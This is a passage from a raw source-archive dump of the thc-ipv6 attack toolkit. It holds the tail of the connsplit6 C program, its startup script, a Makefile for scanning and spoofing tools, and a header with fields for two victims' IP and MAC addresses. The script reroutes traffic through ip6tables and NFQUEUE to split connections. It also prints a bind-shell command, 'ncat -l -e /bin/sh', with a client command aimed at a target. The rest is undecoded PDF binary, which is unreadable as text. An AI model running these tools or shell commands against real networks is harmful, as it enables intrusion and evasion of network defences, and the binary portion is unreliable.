"Error while detaching from netfilter queue"); return EXITCODE_NFQ_DESTROYQUEUE_FAILED; } log_message(LOG_DEBUG, "Netfilter queue detached successfully"); } // Check if queue was opened if (*h != 0) { // Try to close the queue if it was opened if (nfq_close(*h) != 0) { log_message(LOG_ERROR, "Error while closing netfilter queue"); return EXITCODE_NFQ_CLOSE_FAILED; } log_message(LOG_DEBUG, "Netfilter queue closed successfully"); } // All goes well return EXITCODE_OK; } void signal_manager(int signal) { // Verifica il tipo di segnale passato switch (signal) { case SIGINT: case SIGQUIT: case SIGTERM: // Log the signal log_message(LOG_NOTICE, "User interrupt!"); exit_from_loop = 1; break; } } int main(int argc, char **argv) { int i, exitcode, mtu; struct nfq_handle * h = 0; struct nfq_q_handle *hq = 0; char * ptr; while ((i = getopt(argc, argv, "hdv")) >= 0) { switch (i) { case 'h': help(argv[0]); break; case 'd': debug = 1; break; case 'v': verbose = 1; break; } } if (argc - optind != 2) help(argv[0]); if (argv[optind + 1][0] == 'S' || argv[optind + 1][0] == 's') server = 1; else if (argv[optind + 1][0] == 'C' || argv[optind + 1][0] == 'c') server = 0; else { fprintf(stderr, "Error: you must supply either the keyword \"client\" or " "\"server\".\n"); exit(-1); } interface = argv[optind]; printf("Interface: %s\n", interface); printf("Mode: %u\n", server); if ((mtu = thc_get_mtu(interface)) < 1280 || (ptr = (char *)thc_get_own_mac(interface)) == NULL) { fprintf(stderr, "Error: invalid interface %s\n", interface); exit(-1); } memcpy(ether, ptr, 6); ether[6] = 0x86; ether[7] = 0xdd; config.log_level = LOG_DEBUG; config.buffer_size = 8192; config.queue_number = 0; config.queue_callback = &netfilter_queue_callback; // Register signals signal(SIGINT, signal_manager); signal(SIGQUIT, signal_manager); signal(SIGTERM, signal_manager); // Startup netfilter queue if ((exitcode = netfilter_queue_startup(&h, &hq)) == EXITCODE_OK) { // If exit code is ok, start loop if ((exitcode = netfilter_queue_loop(&h, &hq)) == EXITCODE_OK) { // All done! } } // Try to close the engine in every case if ((exitcode = netfilter_queue_shutdown(&h, &hq)) == EXITCODE_OK) { // Advise that all gone well log_message(LOG_DEBUG, "All gone well!"); } // Return exit code (EXITCODE_OK means all ok otherwise there was errors) return exitcode; } thc-ipv6-3.8/connsplit6.sh000077500000000000000000000062071376121567700155060ustar00rootroot00000000000000#!/bin/bash # # connsplit6 startup script # test -z "$1" -o "$1" = "-h" -o -z "$2" && { echo "connsplit6 startup script (c) 2020 by van Hauser / THC" echo echo "Syntax: $0 interface client|server [ipv6-network]" echo "The ipv6-network (e.g. 2001:2:3:4::) needs to be supplied for client mode" echo exit 0 } VAR= while [ '!' -d "/proc/sys/net/ipv6/conf/$1" ]; do VAR="${VAR}$1 " shift; done INT=$1 M=$2 NET=$3 shift ; shift ; shift PORTDEF=--dport MODE=-1 test "$M" = "client" -o "$M" = "Client" -o "$M" = "CLIENT" -o "$M" = "c" -o "$M" = "C" && MODE=0 test "$M" = "server" -o "$M" = "Server" -o "$M" = "SERVER" -o "$M" = "s" -o "$M" = "S" && MODE=1 test "$MODE" = "-1" && { echo Error: you must specify either \"client\" or \"server\" as mode. ; exit 1 ; } test "$MODE" = 0 && PORTDEF=--sport test "$MODE" = 0 -a -z "$NET" && { echo Error: you must supply your global network for client mode ; exit 1; } FROM= TO= echo "NET" | egrep -q ":$" && { FROM=${NET}ff TO=${NET}ee } test -z "$FROM" && { FROM=`echo $NET | sed 's/:[0-9A-Fa-f]*$/:ff/'` TO=`echo $NET | sed 's/:[0-9A-Fa-f]*$/:ee/'` } test -n "$FROM" && { echo Configuring addresses $FROM and $TO on $INT { ip -6 addr add $FROM/64 dev $INT ip -6 addr add $TO/64 dev $INT } > /dev/null 2>&1 } IPTABLES="`which ip6tables` -t mangle" MODPROBE=`which modprobe` # Check if the user can run iptables $IPTABLES -L >/dev/null 2>&1 if [ "$?" != "0" ]; then echo "You need to be root to run this script" exit fi # Load ipt_NFQUEUE and ipt_state modules $MODPROBE ipt_NFQUEUE $MODPROBE ipt_state # Ignore SIGINT, SIGKILL and SIGTERM trap "echo User interrupt!" INT HUP KILL TERM # Prepare for startup # Create new tables $IPTABLES -N THC_NFQUEUE2 >/dev/null 2>&1 # Send all hooked table traffic to new table test "$MODE" = "0" && { $IPTABLES -I PREROUTING -j THC_NFQUEUE2 -p tcp $PORTDEF 64446 || { echo Error: your supplied ip6tables definitions are invalid, resetting $IPTABLES -X THC_NFQUEUE2 >/dev/null 2>&1 exit 1 } } test "$MODE" = "1" && { $IPTABLES -I POSTROUTING -j THC_NFQUEUE2 -p tcp $PORTDEF 64446 || { echo Error: your supplied ip6tables definitions are invalid, resetting $IPTABLES -X THC_NFQUEUE2 >/dev/null 2>&1 exit 1 } } # Send all traffic from the new table to NFQUEUE table $IPTABLES -I THC_NFQUEUE2 -p all -j NFQUEUE # Fix loopback traffic $IPTABLES -I INPUT -p all -i lo -j ACCEPT $IPTABLES -I OUTPUT -p all -o lo -j ACCEPT # Help information echo echo echo Now run: test "$MODE" = 0 && echo " ncat -6 -p 64446 -s $FROM TARGET SHELLPORT" test "$MODE" = 1 && echo " ncat -6 -p SHELLPORT -l -e /bin/sh" echo # Start connsplit6 connsplit6 -v $INT $M # Drop fix for loopback traffic $IPTABLES -D INPUT -p all -i lo -j ACCEPT $IPTABLES -D OUTPUT -p all -o lo -j ACCEPT # Delete incoming exceeded drop rule $IPTABLES -D INPUT -p icmpv6 --icmpv6-type 3 -i $INT -j DROP # Restore hooked table $IPTABLES -D POSTROUTING -j THC_NFQUEUE2 $* # Drop rules from nfq-test-1 tables $IPTABLES -F THC_NFQUEUE2 # Delete the table $IPTABLES -X THC_NFQUEUE2 >/dev/null 2>&1 if [ "$?" != "0" ]; then echo "Unable to drop THC_NFQUEUE2!" echo "You need to do this manually!" fi echo echo done. thc-ipv6-3.8/contrib/000077500000000000000000000000001376121567700145035ustar00rootroot00000000000000thc-ipv6-3.8/contrib/Makefile000066400000000000000000000006541376121567700161500ustar00rootroot00000000000000PROGRAMS= host_scan spoofer CC=gcc #CFLAGS?=-Wall -ggdb CFLAGS?=-O2 LDFLAGS+=-lpcap -lssl -lcrypto -I.. PREFIX=/usr/local LIBS=../thc-ipv6-lib.o all: $(PROGRAMS) %: %.c $(CC) $(CFLAGS) -o $@ $^ $(LDFLAGS) $(LIBS) clean: rm -f $(PROGRAMS) *~ core DEADJOE strip: all strip $(PROGRAMS) install: strip install -m0755 -d ${DESTDIR}${PREFIX}/bin install -m0755 $(PROGRAMS) ${DESTDIR}${PREFIX}/bin .PHONY: all install clean thc-ipv6-3.8/contrib/data_structures.h000066400000000000000000000010441376121567700200670ustar00rootroot00000000000000#ifndef DATA_STRUCTURES_H_ #define DATA_STRUCTURES_H_ typedef struct { char *interface; unsigned char *uniOrMultiCastAddr; //char *router; int rawMode; } HArgs; typedef struct { char *interface; unsigned char *ipAddr; int rawMode; unsigned char *ownIp; unsigned char *ownMac; } RArgs; typedef struct { char *interface; unsigned char *ipAddrVic1, *ipAddrVic2; unsigned char *macAddrVic1, *macAddrVic2; int twoVics; int rawMode; unsigned char *ownIp; unsigned char *ownMac; } MArgs; #endif /*DATA_STRUCTURES_H_ */ thc-ipv6-3.8/contrib/fuzz_dhcpc6-usage.pdf000077500000000000000000014231251376121567700205400ustar00rootroot00000000000000%PDF-1.5 %µµµµ 1 0 obj <>>> endobj 2 0 obj <> endobj 3 0 obj <>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 4 0 R/Group<>/Tabs/S/StructParents 0>> endobj 4 0 obj <> stream xœí[ÝoÜ6ÿApˈ"¥ Ð|´Í¡iЋӗô¬weoP{ãÚk;Î_3CJ"%Q«µs½—C°ÎJŽ8ÃùøÍ›<ù-yöìÉÛ—o^%ùóçÉ‹W/“G=ù‘'¼LŽN?âIÿxbË…JL.X¥’£óÇòäÿüôøÑÇô$[Èô:Sé·oÙ¢H?eEº†« |VðýÂý¯³'Gÿ|üè5¼ßÓ0çZ²‚ûÌ?¦I”Ö°¢ i?\-O³…NëÈÁ%ãÕ<þ‚§M^¿}™$žâx 8‘ðœå£ºÓ¦dÆqü5“éøìê§™þ ÎÓ£ þl>£ WÏá.éú é”z‰"=Ê<­·;¼°Ãˆ¢¾Ê¤p7¶xcß+X ƒg¥eq™q Lz\gB:zœ=±—õW\®3¼±Z•n»w½Âuþ¿Ìªô·Œ›ôFg&ýÎÔR|Æq»«î†›1ΤZžÖÈæ«Ú÷¯„½É2P›7MœõÅŽ&ø%&Ý^¡úJm pŠHdöÎPtÐ —é¿pà0w$³$\á‡Ã§€'Ð RÛë;ÔîµUÉø¼›åÖš)ÙNÞ\ÿuMÜìE&í6K0‚ÝO.À‚MÈ“r SV¤«îå&IÏIÈ™Å8ÉJrž´wáÙ{_d¥çŽÉÕý¹ÍÍãöÌ:)¾>E# ¯­I?Í$wyŸÙ™ŸãRÕ Ú ±Â{kÏtÉ¢@{ªá‚ i•;ƒ£Ë»L(ÌîKæÌ¡ÞvìN2^ÙÕ±/Dˆªdª'llÝdž³²Gû"¹}Ë’ X§Û„@ߺÞám’wb8+¶ÏÝЈJ¢9wŒês4ô %¼óéHL’šÅ Aé’U<.ÖÀd?cHV‰ÑÀÇËζ~Åh…‘ï–BoºD³ø3nú+yÈäM¶(S‚±¢ñ' Ä%ø‚Í©h&àLd2›RÍîE¥XY9–6”ÓRˆt[ïnÁAeýIkg}wW£gÒmŠ0ËváëxúSÌððm;ânMøš¢]Tü²B¹ƒÑÑ7UC@{bÃm›/@:ÌVmH#ÉnЧ¬ŒäèO`¥Èëí=±y$òéÄBoˆfÊ‘áäÉK$ 9=åZ/YoÛ |÷G–ñr_þ,JÁtáØ¶ÑŸ2‚Kr˜WÖþ´t³u)"bØR0Q…ü——hÙ§¨§ëstPÈG,ã kò绋Ï8mšÊò ééw62ï6(óç6ÖÚ·8=ºI´gJŽ š íWŽX…Ð9:œqMYbƒx''O™c^¢Ì1FŒh"׈KT©(Q"p»å ÑU™Þ€2›¼¼­É n]Ô†h–‰¹Fyç§Õià±i›€Ao}`êbÙòø õ^GøLÕ[Ïɘ^ÌM\ĪÁž¿g¸’¥—ÌOÑÕ¹ñXjJ¼g.)­è>¨Á>€ ®Ò·6€¢Ý"$¼ŠÁŒ¼d¥ ç0)–žª¤dªð`Úh †u,K^áýÚ@ÍÖ€"dø kdT}ÿ k[¥lAWÜ%ÂA¬:¾ë m™ cºˆŒm48¦Âi»¤ÕiœÎCNDêáxë¯w¸iwwAŒ·¼y"#78‡%dËPì5ÍePÀòèpÄÓ(­`ªG;i &05b à3d ðj,bù,ÏMù¼FбÁŠi¸åž€8u^„#ß`°ØÛëK4 —ú#WTXÛGç2ÐM9W7ª2Lë{êÆ|˜n‚‘”x,ÄÇlgñ ÌmRµ {ƒi‹|xø:=ö:]±\ö¤”F ¤«­'¥ìh5=ÚQ€*Þ´8zÁÀÇ»ôðn»B¹7d-¤ %ßаlõxÙÖ„}mO ŽÙ”Ì9“".ÝÀ¦ªÙ6Uª¶­t¸Myƒ´)$†w/û½¤ƒmH,ç=©fÛª°°›”ªórÀl=Úw/pòèBüe³ ß sÝþ°%ÙÿºÆ¬b-„¢Ð𴡍ùõí–«t\ŽaÇ0·P”™Ýwä\0/ÁŸYêáñŸc…J>Ñk ú¹•l{VY^’n;.kò)¯b[Þٴ߇u#å q|\¯-œj<<¢pù¦ „´1âŒ;Õ¢žQ[¼pC¯ZÙbðuË å{=Ãw¸ä[W·ƒÕB’Q§È¬§—!Hx:…Tn0“ûDæ·)r[.R±ÂŒè¡ë‚uºðñP[BQ?­íÇÞS`/¼ Þc‹ ªÂž,锢ΙeáÐý:z è˜ ÇL;„è`Îr5€•,˜˜ÇsÐäŠòÛ6 Ô‘¨¢o™¦Ï§5ªƒ·VhVön‰ k·®PÍ™æçdA´*lC ‰3W»a¶…@]· h²Þ‹@”iíì$«Š©†ç/ˆ^ºJ`W{(¦³Pr1úƒõ­€n•à‡»ï¢mÒ÷ûRäö]ô!kíÚAÊ›lKÙÐ1]aéG©è¤¥4‚tô娻²Âïd¹T¯‰ãW¬.ÉÃÚêÙîZL B¹»™]#9 hpÑ5uH»š·_˜mÿΙ›q \šÎ¥Hv#Ú¥À®5éFÊ1økw V ¸w ä µwM{ªcíL‰p7ào}ØØ hƒÙAk4.#Í{Ìšœ(Á;{´ýV˜oÔž‡Ð¶¡b i'† kÔÄ÷õ_Û<ÚM&ÉqkõÒ­m“O´uú æõÖõ v$–×™Ûᘶ#g¥¦)ŸÇ„âͼ° ý—¹`%ãE†jü¾ iõwäk›6Ih²”÷D^G÷¡+&„Ç0j­µOhÁÛ/:kûÑõlE¶UióTFÁmÎ’± ¢-îÝimwýl¶¯vbåL .Ɇ×PÆv±r¬Hö«MAdá¦%¤Ô*Aá˜)¿l£o(O»Un+abÛ¾jâ|̦ißiÿì Ü7ô ûZÅp*hoÿ;ŸE˜ÆÁlE45Ï„?IIjöÇ6ÛØ‘PíX FÄ«=Ž=Ï÷úÎÃô—Ô¶=»‰S^œ°K)G ÓD7Í1^CÉ7KQ &{´è ×Ô­¸ô"c§:H9~‡üGüÓz³B×½ öG°p®ì%ù1õÙ=Þ¤$¯!b“ó­ÞÛ`×ÃÕȨiÞ9+Ŷˆ\¶ñB¥±´"g={ Ö¦ð7㇘.ЈícD°P3¥è æeoJÓPw°i+¤0جm*HAT@ÌîÑî)"ªå%ã2d´ŠöæÓ•OKQÏIaLï©CúãÚBdÐ*2#ÚáPs© EÏñ~ј~¹Êqk!õ&m4ö‹Ú¨xPajÞ_7ÂG2-Á©rª7¶àà´Ó#í ¬àªÌXrúóÔžEp£µ@wñb•Ù²/¶+ Š'1WÕ½ ÂrãA ¢‘Ö¡ÌûëCQJVè¸V‡^³Oª‰ ¹bÍòû¨­ Z(1n|#J„ÄûìÛ#õð0$Çê[1x,~ÀXù0ˆÎ9Kšáë(>”Ávš?8º' ‰Y–ó¦TÈ>WW&Ä,Rá鉀ž¶è¢Gap3[‡oèÎDi„¢‡=xAUØ é$7T„y¤ãõ7J°^c í¶ ¼´GI®.A/¹×Ô ó´9øi wêHcGiÕ´BllY8 ‹.JkläÍPé Jù¤ý"sPRNôÈ—‹ <¸9wuϽ-Rko*“P 7´­ˆè^³Ç6om©ž¦·É§j+‡ÃÂÒŠ¬F ¬wС¦C­™ P,mQÍ(íCJÀh@ñh(ýq÷(>“û”@Ô» Pý ˆb1\ CÖô 9Ìð ¶P† úJ­"TÈWj*é\LîTbèÊDƒpÅÊÙBµ£ >‘"ê… g¼'I@”¼ç<ÓÎ[ÎÅI˜¬sÙ% vëA\:² ¿f ˜î-íA½Æñl¿0v[¯MöíÕ+Ù¶û .ƒlº;ã9Ôy{Öñdeû¸»àèÃÞ&§Š™ÆìȱàÍ(iyjLL‡Q¼~áxNÿ§Ø½§ïaµµ5í¤Õì OŒœ™a}ÚeXŸÑ¾ ÛÑ–a{ãî—a=&÷̰¾¨c†¬Ùçê¦W³´1pïélì©âðDìëqV"ާ –%h ”jïoR Vˆ¾#,(¬ØSÒöƒ¢ðöÊ~x{—€”v[ÎÇÍ…qŸ¼UKcT=é–ÃlX¦ª7µÜňåìG&…àL™PEÓ¿öÊç"üm 7ß™ ¿2 ˜îA&íÿ‘ÉÑ ž­äáȤÕYïè"înwI»ÿªCn~ã¡Ó÷ƒ€ý,5Ž&ÿ×°ÞïwdödUå¼S”éi?¡_TıPk»MÔA¡Ø©/Úá t9Ûð,Ýd»'a`Ù7ê}˨‚ˆnÇ0Ä\1Q2c±Ñߤ*ŽŽÐNG)>÷'8ª9ˆôw¾Î22'ú¡þû|7éÕqŠë‚Q5ùÙnMÛßwD‘˜¡Ÿl·Ø )sÕnT}¯ãeZco©ã<óx™=úí ³Ég¥7x@ß v䃗’¿G:­>¹÷ÄŸSþD¨Œžøû)§0Ò endstream endobj 5 0 obj <> endobj 6 0 obj <> endobj 7 0 obj <> endobj 8 0 obj <> endobj 9 0 obj <> endobj 10 0 obj <> endobj 11 0 obj <> endobj 12 0 obj [ 13 0 R] endobj 13 0 obj <> endobj 14 0 obj <> endobj 15 0 obj <> endobj 16 0 obj <> endobj 17 0 obj <> endobj 18 0 obj <> endobj 19 0 obj [ 20 0 R] endobj 20 0 obj <> endobj 21 0 obj <> endobj 22 0 obj <> endobj 23 0 obj <> endobj 24 0 obj [ 25 0 R] endobj 25 0 obj <> endobj 26 0 obj <> endobj 27 0 obj <> endobj 28 0 obj <>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 29 0 R/Group<>/Tabs/S/StructParents 1>> endobj 29 0 obj <> stream xœ­][o7²~7àÿ0Ó‹L§yëË1€-ÙÉ.Ö'ñž`‘,E_EVtqŽýëO]ØM²Ùds¬ °4š.‹ÅúªŠl²²ùúտɓ¯_žüýtÓì÷›g§'›g¯?úú…ÜQ7zóúÍãGbÓÀb#š¾n̦k†ºm7¯ü¨Ù¼Åß<~ôóvSýwóú=‡ö›ç/O6¹˜+U2`Þɺ‘zÓöª6Äûçíiµë¶ßV»v{RíôöÕÇÊlÛª zB†“|RÔÒ,^bÃC¥¶·ÕNèííYµSÛ·Õ®§/“Œ:S0zŒ>UýöšQëøÝýçÏðÚ¾á®Þ&J=Ô]À/«-9ŸŠ¦núEmµM-†ID!¶ï ú®zÖ"5þ~¨Íœö5÷m¥a.†í«JtÛù¹ÐµP!‹ßAQÍöp Z¼­àÓÙÛC%`±Áï>]ƒN•”ö‹ójg¶gW•ìÓ }Ý a'¿ eYP/‡Ë 'ìéîp‘œ!ú)SÔè'¤ýPÉn{ƒ}$[™¾6}Øê YP%Íö3 –4lÓ"öºîÚBqºg´ïQº+쌵ºE“–þF X;`IéGÔ)µ§Y¹{óÿ{%æŠFñqG*ø‰lm§Ð ›~wv0ð—¿}ÚàèY¾s4‰KüxA ¨ñ['iúê€Hþ#¿8¤Ô2Â&p0þ DÔ)ýÀ¿þÄnY¤·•lÒ6($ºÏòì¦=ËL“k ÿêî!šä"gœx°j? >Ÿª¥I`þ4ŸnÒÀî[;‚”SZ£+ºüŸŒÕ73ÚÈ‹ýô%oZ)kÙntS÷à jÐúÍáñ£Ÿþ¶¹RÏ×)ëëÆ–‚[vË-§øyDQ‰ŽGñ¾ »fÝ¡i¾Çó-íÊûûÇܵêê~Öõ&ìâ{O? s5ªGô}­Û¬‚´§ h*‡QJjÛ#ç jeB9OÑ"O v}K6ó Tô±ÚIga/1þÚjèýö ?½õ܃ Ž|Öö!ÖïÃ$—½©u_¤a_uƪŽÒÑÈÚ€â•ÆØÞ ?üÑÀ´£oþVH†Â$d(‰Vd9.VL‚êèDD¤T >ú’qL¬y’ÆéÝ7I@¸§È<$˜#¿ÁôaùmŒ|liÒðs>w¨Q( ÑÊ%¢?owI`—r†qj³ÀY<œsWëaóª§`uxŠ.ö,\o“x:¡ÒÁ|‡øþ'fÍG?zR)ÅŸ^'^ÞqhïÊõ⸷žl\`:˜Å-“dq›ã2º1"ÉáÖ1É’µ”e’€:qOWAi†¶îå:(‡”ÔR¸–í *ÍËá•嬖1kù°&\Ƭ×pi5Z€KÑDÀ´âyøH ¨j} ±šVeÿ‹?žc°þJë@‚'b—¾ç0ýËc9eˆ‡7øñìWW”òÞýR¥°|„¬R TF±2-‰š1¡ëòhf’,šs\œ¯jº,š“ š­ž&°¶œ3J F<·i@ÃjP¬ãYÈÐвŠ£¬éÛzèÊð\ÊÙÂ9â¬ΙÑq^E3©³Ì*3 Wecñ¸Ï ¥ßWíöß¸Þæ?ÃÉ0{DÏ}‡ \±b‚!ë™h§0Š SsXÚç,—`°ÜÞ9xî2‚‰m>¢1‚"ë%XÓÔƒ{ºX;XTõ@41±ifµ9b§q{³ˆ¥œ-#ÎúᜈçU ²>KØÆHdéŽ@b$noR¾û/Xó¾ðQ$%|¾L°¼[ –^ÃnÃ^Õ­ÈÀŸ§a˜l?:zž„¡kž„!ë%Ã$õàž®ÃÐô¸“µÃ>†!6-_ušVàØŠ`XÊÙÂ0âlΙaq^…!볆C C–îFòyñ_¸íÉJ"°¼Çn¨û¥ (›;ÐÿA ?O#0Ù~ô+ô<‰@×<‰@ÖKIêÁ=]G 6õP°í#EŒ@lªÊ¨{½¥œ-#ÎíÃ93#Ϋd} PÊ,ÝŒäóø _€PÄ xšay§}S+Q®”`´jB°QÑe@ÈÏÓ L¶w®EtiºæI²^2 LPîé:•Bk±V™²#Û™…vKðS-fÇEð+bk±±íÈ–±]ëp^J‹&FË5`r‘drBn_áö í¸þ'‰¶ÂÎ:Eñ®T ÁÛÔÀµÉ@Ÿ§¡–lïˆÒ"Ô\ó$ÔX)IQÿËO‰·{Ä K"L6(Üè÷•2.6u-WÜTµÒe8+ål¡qîΙÑq^EëÓ…¹´Fûp$ 8ùtB§s7x¸µúc¥ø3…¾òža4ˆrÍCfT·or{¢–$·'šå2:"Éì‰zLr{¢¤¦Ü–h’€:™žlˆ6]=$¶ƒM LlšØÃY¦Â¶ ˜¥œ-0#ÎÃÃ930#ΫÀd}äŸJÄÀdéŽÈ?#ùNù­ÆŽÎ' €NaƔփ)`–÷Œ]¹f‚!Ë0ÁP¥Ì“I²ÀÌqq~GÊ,0“0YM™œ4I@¸§«9©LòPM Óø(5Mìê„À„…$C‡øJ€YÌY r§ç§çÜÕZà¼L«Ï`Æg‡¬tåÀŒåó†³ÍReW‰ß`8ý÷xV(‰ÓrAdÓ㩟bE03œ‚Ýš­Œw<À"Wvö|Ñÿ²\^<[„¥ú 5;ì£]w}Ê–$‡å,—ÑQIÍ“œYM8' ¨÷tÎ-íq¯Ã9>íCMç„–àÜɺìl@1c‹æ9㓇3f0ϯb™•YrR7>çc…;ËsñfëS\™&·„Žè­Óäð ¦ïxÖ¦ÕkÏÁŸ sÀ±ÏIî(—÷*!ëŸR:»Á´Í!Òš6ïY˜$ëYr\œãlÚ¬gqLrž…µ”ñ,IêÄ=]÷,¦«EÁ±#;¢¦å©¼pQäY ÛL>b¼`}G2î–¯zVf‰g‰±pG8–H¼£f|‰¾’bKסÝ]ÈŽïýÒÝk{ç{W?ÜeðÃÅ)ø‹ zfʧЋŸTãí|á?ÿL¥F†g7<7Ó¥ý÷8Š«sßáÆ.’WÚUÛCÄ T—º­:|ÒðìuÿD#‚A«ñòúü¢ªßN7tL¾H0Ý xJ5 _µ¢ŠM•x:n\ä;ñç¸oNĆ \ÐÌŒ“\Ï^uW½¨;iÅ &¶Æ-ÀTëAÂjzÖÚÖ—°ìôƒ¨Öö®?àe¢ëûKªÛpWY»¸`iïo«É<Þr´c¾8²;üá_ß§ÆôœÆKfÎϯ,ºáãá uå™Þo÷w¹Z Ý¿ GÈ‹ ÐEû?Sm±˜Å¬mÊÅ(\ ¶!mR&Õ {h­©°}Z­€pé©R­©E2ñ‹`°ÍS[ÛáxàOöuÀzáÙ-t½DÍôÜô"ål 9‚‰ø^NvKåîØìó& +ícú+GhÏ{Õ"è©<Ãá#N½žQþEÀͽ" jª¢puw¸B£»­”N¹6¿Vh‘rÛÃÅWλÚ>­Û·õ#ÀÞ]] Ò-•…8\¡Þy>V¬‘''ºÃ"žº(ÃTRR†ù!Ù®£g~»†Zì’^SàÚ,˜—h²/Ñ‹z½Á¡¦qà^í/þ5¼;›È]ËIQLùŽÉÁ)ÝiñSBlƒhêC±×LVªr˜ÆS‚O ÕÛ`;»ÍçÆóK¶tÊB‘ŽYÉœ]ËÔ¤JWœ-Æ—uÇR@Š87Ÿ·D—¢nTÒè>lÁŒk&¯…1í°PÆA„7Imv .ŸW& Kä[ºÇâ(Ay¹‹K)Q;ê"Öt.aòª}H >`t’I¬(dl,¢ÈNFÀŽöà ÂåÍÈ„^ãâþÙ:¿Éuð;òÎaÖ0利Õ;ø .‹óé61ŒÁ- `p^–ê’—±üM:¹k ØÌ»üúE»0…jh°‰ßòI#†§0ðO<ßKó¤iµ‡‘>i”y¾Ÿs]2 _™.”gîâ–åѰi‡¹<Ýé^aï/öByâÀ:²ýÉ^ôðÖ; ¿Ÿ’Ytˆš'8ø£ÅA…ƒ±\ñ×L#ßËŽâfÜׯ$®”¤k÷(€pý”èÊ‚HºLÖ•3Ád½ ¼=ÚÌšeŠˆ©9m®Õhäo¼š`A ª÷ˆ¿´þTÂÙ*ƒoZ=Á1Îâш™uº(Xƒ ò[q”å7èhë].%’-dq¡Î}›J¤’C[Ë>ä±ä§·¥ô('£jië6)Ø—à®÷ÉÄâ²l”^ñ ¼‚ „s<åV³¯ÐOêÌ­ÇýßOŠ–=A‘kAGêZJU®Þã,ýq>˜ƒ€]b$ø»NŸ?É߸x@ãö’ÄKÎßïì2‘ ‰/˜ŠFc•ZÐöÆðJ:…UçÔXŸ‰–u©ØÑëzèg ’Žhæ´wE¶ãê"ªH!8åÄ¢M¾¢®¸=£%ã»>œOù/9,Nå.æË®_Ȱe——a9TÙC«~Ë£B§{»¥j3Ìø¨N'ÉûºUónSÒ‹[Óò‹ã>o_ìwHoNù7PTµ1qÇL8ö×€~Œ­³˜kƒ°}ÅⓆ5‡_A`'Vão`-Zs Í"иßÒÙsR€£ÄÄ ÷†6xà ’…¡Ù#üš4dX.1,Èœ>³¡ùï÷B—§ºkñ¬K`—¸èŸ%Ÿ‡ÿ;Éi%ˆâRe¤j±IS—Ê[Ì6œekð~ÈrnçÞ÷ ¼‘Ð&ó|ðázÆ—µè_þȸ=„­òcÒ c¦–® "¹"zi‘K›ìÚ‘ªcRxÁÎDß¡¢ü`é„߯OñDßkô]ß&Ò€%¸yÒ•W¹G‹9@kzŠè¿€Ä©vtä!hÇMªT:Ó4X3ê«J¦èUïwx{è©o\ ág9. §½ŸkJ&=EÎ’ÐŒ^Õö×1âªÅôqÌP Y+Š ú½læ{`ñ΋ ä~“yΠ§±Bþã[˜ý·¼¬è].¦Áa/-s¥œ^zËÔ_#Ièæ‘‰nÎÿ™™’çIrìÓ43 ¼[ɯƒ+Ý­””}5®µŠc¼êðVcöIë–cºt966žL…;¢¸4Ù KK“$ÅÐâ;„9ÖdüUͲ'Ë~º÷L¨5 ,Ÿ*! UÙó)œ*{48¤’x®p 0OÆÉ8-&q'€Ô)üUG4ë I^Üçy“qã݉h¾À˜¥jñÂÛñ ’j £a¡‚Nȳ¨ç'{kÑE2@2§é}!Ê\´4†ŽJ†B?“V¦Äóœ9 ÷ùèKg _(+ý%Ó†‡qd4mÖÓxóöP랊ZÚý»UL¬3ßÓ0CmöÞNÒ¸;¡Ãp¼hͱžÂ8ð?^æQ¸FZÆâ+)g E’É_ÉfÑâ^¬ #YCGAJ¸ i.= ¯MrùŽä8_ endstream endobj 30 0 obj <> endobj 31 0 obj <> endobj 32 0 obj <>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/MediaBox[ 0 0 612 792] /Contents 33 0 R/Group<>/Tabs/S/StructParents 2>> endobj 33 0 obj <> stream xœÅ][oÜ6~7àÿ G©¨Uñ¢Pô¡I»›ŠMwƒmg±˜Äc;XÇÉÚã¤É¯ßsHJ"ūƒ‹"®-ñðÜ¿CòhFÙw/³ï¿ÿî—g/žgÕ?d?>–ýøêô仟IFXÙÓìÕåé É*ød--+ʳ¶jáÿÙ«÷§'Uv…?þrzržÿ\œ5ùÃׯËßu~{UœÕyör‡—‡âŒÐ|÷îðïÛûâßÙ«¿žüÌáÀ‚4mIˆÎâ<Ï´±ÙO¿<Ë2MjbHM3R•Uç’ºéXY«_„ä×ûLuYœñü¡ uþµ8ëåÿ”æ×o‹3šÄ[oQ™¦hs¤!òhÒæ@¥+œá® M¾{?嘇{䲿/:uáÒ£3­ê¬ ø¡ mþpç# MÙöAæÚ—”C-} ‡*à1Z î Ž^cà30…PõV(4è“)Å­¬C>/ÎXþׂvù³¢Ï_¢Ÿ?I“ÁÍ÷@VIkÀ4U¾»Ú¤W³]nøCŒ}ƒ¿‰Qû é#´ò-Š,Ç®÷Ú_>¢›LŒ¼´g¦ƒÞ%3õu[n›–””¦³uÒlû‹²žrfT÷ »°™¼º»Cí,ò n‘Nв;Ê BÓû‚ ÚI}Îøø'¨z º¢*_Fÿ8Í(ÈĤbÌ þv!|ø-Þžæ¿6ñ8/~þ€À! q2'qûuޱ@ÇìAÁ'i.z]à@e¸[¼"ü_MþW4º”cÂ]|€‰ÞÜ U÷1·Ö]Ù÷Ê­Ÿ‘ð8í¯TŒhú)ÇHJÚµ¼¬ZS íþwzBÓ–e £%ãçeÓ"– æ¶Å)ŽÐÒ,q„nm„–†Ó%+§ÑÞ!+ñ"ó±ŒZÌKŒ¢àY%Ï ÏJØ„Ñ ¢×ÜÇXot5” ¦„­™¿V´Éøp5üãî˵h“’°')À¶W¦‚”]Q9$¢yÆÊ.†„Atš&¢j¦ ˆŽ3ñQ: €þJâi€Ç! øXñ²N€GRÙøˆ¤äx|„ j˜M¿{ññXNmIÁŽ6§8> ³Äá‘¥°Çâ£%«e$ñq‰Q>J£Äá‘P•°GâcÕ`žU°º„¥ß«·•™î˜6¦M]’Þbzþ}ÅZþÃ#x¹lú²­m^so<ž bxÈ’´öWŽ#¹v5.Õ¢ê¹*a³Òaß×ä[uCÞ×ê† ®žÆ‡¸?U |Ç †raÕ 5ÇT+,tæ …U%¤±UÂ?@ : ðV‰qH¼JÔÏpÜA)žëz2Ÿ[eBÐŽ‹[ &UPu3 RÝ3´¤;¿ùêÄѬú¾ä “Í*Z(”e$-S[•B‰;Ò¦J«J…--õ•Šã9‰Z±È.²V v‘Å"h˜Æ*ƒ¸l¼òúªE¹Gæ«é?ðÑÿi‹gçs)ÏÒ¿Ž CH£Æùf" ‘‰H\"R0¦Æ 2yÿX'0Ú8œ0‹ïÛÕ¡ˆk}ˆ?ÖÖœ4 